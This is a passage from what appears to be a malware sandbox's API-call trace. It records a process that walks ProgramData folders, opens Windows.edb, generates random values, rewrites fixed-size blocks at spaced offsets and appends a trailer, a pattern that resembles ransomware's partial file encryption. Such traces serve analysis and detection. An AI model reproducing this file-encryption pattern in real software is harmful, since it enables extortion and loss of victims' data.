_Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" [0158.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd65c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f8 [0158.812] FindNextFileW (in: hFindFile=0x1cd9dc10, lpFindFileData=0x1cec5ae0 | out: lpFindFileData=0x1cec5ae0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="SYSTEM~1")) returned 0 [0158.812] FindClose (in: hFindFile=0x1cd9dc10 | out: hFindFile=0x1cd9dc10) returned 1 [0158.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5ae0) returned 1 [0158.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ce70) returned 1 [0158.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa90) returned 1 Thread: id = 2493 os_tid = 0x1f68 [0154.478] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb")) returned 0x2020 [0154.478] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb", dwFileAttributes=0x20) [0203.382] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bf0 [0203.383] GetFileSizeEx (in: hFile=0x1bf0, lpFileSize=0x2d94fc00 | out: lpFileSize=0x2d94fc00*=75563008) returned 1 [0203.383] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x480fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.383] ReadFile (in: hFile=0x1bf0, lpBuffer=0x2d94fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d94fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2d94fb80*, lpNumberOfBytesRead=0x2d94fbc8*=0x4, lpOverlapped=0x0) returned 1 [0203.415] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420536a0 [0203.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053550 [0203.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053520 [0203.416] NtQuerySystemTime (in: CurrentTime=0x2d94fac0 | out: CurrentTime=0x2d94fac0*=132462178085170000) returned 0x0 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x3f84b36f [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x1ee51208 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x48450986 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x1a09f23c [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x314b9373 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x468b4656 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x56d664b2 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x3b4b3ba [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x1fda6fbe [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0xee2ce26 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x5daabe10 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x6680c39b [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x47f27a4d [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x10baa538 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x740d8115 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x2f9b8f7e [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x7329bb5d [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x52e061d1 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0xc2aec81 [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x41c7ea0e [0203.416] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x619a3605 [0203.417] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x63f31d18 [0203.417] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x68e9d5b2 [0203.417] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x13615213 [0203.417] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x570cec39 [0203.417] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x7e2d452e [0203.417] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x3d4b5caf [0203.417] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x7ee104c4 [0203.417] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x465519d3 [0203.417] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x2b4cf788 [0203.417] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x18e8440e [0203.417] RtlRandomEx (in: Seed=0x2d94fab0 | out: Seed=0x2d94fab0) returned 0x1f8ef931 [0203.425] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.425] ReadFile (in: hFile=0x1bf0, lpBuffer=0x41e66910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d94fb20, lpOverlapped=0x0 | out: lpBuffer=0x41e66910*, lpNumberOfBytesRead=0x2d94fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0203.981] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be50 [0203.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869540 [0203.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ca0 [0203.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ca0) returned 1 [0203.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42266d10 [0203.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ca0 [0203.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859cd0 [0203.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859cd0) returned 1 [0203.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 [0203.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0203.985] WriteFile (in: hFile=0x1bf0, lpBuffer=0x42266d10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d94fb20, lpOverlapped=0x0 | out: lpBuffer=0x42266d10*, lpNumberOfBytesWritten=0x2d94fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0215.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42266d10) returned 1 [0215.032] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x2409000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.032] ReadFile (in: hFile=0x1bf0, lpBuffer=0x41e66910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d94fb20, lpOverlapped=0x0 | out: lpBuffer=0x41e66910*, lpNumberOfBytesRead=0x2d94fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0215.034] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x2409000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62410 [0215.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0215.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa950 [0215.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa950) returned 1 [0215.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42266d10 [0215.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa950 [0215.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaaa0 [0215.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaaa0) returned 1 [0215.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0215.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62410) returned 1 [0215.038] WriteFile (in: hFile=0x1bf0, lpBuffer=0x42266d10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d94fb20, lpOverlapped=0x0 | out: lpBuffer=0x42266d10*, lpNumberOfBytesWritten=0x2d94fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0228.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42266d10) returned 1 [0228.150] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x480c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.150] ReadFile (in: hFile=0x1bf0, lpBuffer=0x41e66910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d94fb20, lpOverlapped=0x0 | out: lpBuffer=0x41e66910*, lpNumberOfBytesRead=0x2d94fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0228.585] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x480c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61c90 [0228.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0228.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5ec0 [0228.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5ec0) returned 1 [0228.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ab52c0 [0228.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5ec0 [0228.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c10 [0228.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c10) returned 1 [0228.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0228.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c90) returned 1 [0228.590] WriteFile (in: hFile=0x1bf0, lpBuffer=0x42ab52c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d94fb20, lpOverlapped=0x0 | out: lpBuffer=0x42ab52c0*, lpNumberOfBytesWritten=0x2d94fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0239.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ab52c0) returned 1 [0239.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105de0 [0239.336] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.509] WriteFile (hFile=0x1bf0, lpBuffer=0x423a8c80, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x2d94fbd0, lpOverlapped=0x0) Thread: id = 2494 os_tid = 0x1f6c [0154.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85bd90 [0154.479] wcscpy (in: _Dest=0x1b85bd90, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0154.479] wcscat (in: _Dest=0x1b85bd90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0154.480] wcscat (in: _Dest=0x1b85bd90, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*" [0154.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20420 [0154.480] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d970 [0154.481] wcscmp (_String1=".", _String2=".") returned 0 [0154.481] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.481] wcscmp (_String1="..", _String2=".") returned 1 [0154.481] wcscmp (_String1="..", _String2="..") returned 0 [0154.481] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x28aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="confident.cov", cAlternateFileName="")) returned 1 [0154.481] wcscmp (_String1="confident.cov", _String2=".") returned 1 [0154.481] wcscmp (_String1="confident.cov", _String2="..") returned 1 [0154.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65080 [0154.482] wcscpy (in: _Dest=0x1cd65080, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0154.482] wcscat (in: _Dest=0x1cd65080, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0154.482] wcscat (in: _Dest=0x1cd65080, _Source="confident.cov" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" [0158.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1300 [0158.491] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fyi.cov", cAlternateFileName="")) returned 1 [0158.491] wcscmp (_String1="fyi.cov", _String2=".") returned 1 [0158.492] wcscmp (_String1="fyi.cov", _String2="..") returned 1 [0158.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ae060 [0158.492] wcscpy (in: _Dest=0x1b7ae060, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0158.492] wcscat (in: _Dest=0x1b7ae060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0158.492] wcscat (in: _Dest=0x1b7ae060, _Source="fyi.cov" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" [0158.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ae060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf84 [0158.493] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic.cov", cAlternateFileName="")) returned 1 [0158.493] wcscmp (_String1="generic.cov", _String2=".") returned 1 [0158.493] wcscmp (_String1="generic.cov", _String2="..") returned 1 [0158.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65760 [0158.493] wcscpy (in: _Dest=0x1cd65760, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0158.493] wcscat (in: _Dest=0x1cd65760, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0158.493] wcscat (in: _Dest=0x1cd65760, _Source="generic.cov" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" [0158.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf90 [0158.494] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 1 [0158.494] wcscmp (_String1="urgent.cov", _String2=".") returned 1 [0158.494] wcscmp (_String1="urgent.cov", _String2="..") returned 1 [0158.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65290 [0158.494] wcscpy (in: _Dest=0x1cd65290, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0158.494] wcscat (in: _Dest=0x1cd65290, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0158.494] wcscat (in: _Dest=0x1cd65290, _Source="urgent.cov" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" [0158.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1834 [0158.495] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 0 [0158.495] FindClose (in: hFindFile=0x1cd9d970 | out: hFindFile=0x1cd9d970) returned 1 [0158.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20420) returned 1 [0158.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bd90) returned 1 [0158.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5730) returned 1 Thread: id = 2495 os_tid = 0x1f70 [0154.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced2d10 [0154.485] wcscpy (in: _Dest=0x1ced2d10, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" [0154.485] wcscat (in: _Dest=0x1ced2d10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\" [0154.485] wcscat (in: _Dest=0x1ced2d10, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*" [0154.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21a10 [0154.486] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9de50 [0154.486] wcscmp (_String1=".", _String2=".") returned 0 [0154.486] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.486] wcscmp (_String1="..", _String2=".") returned 1 [0154.486] wcscmp (_String1="..", _String2="..") returned 0 [0154.486] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 1 [0154.486] wcscmp 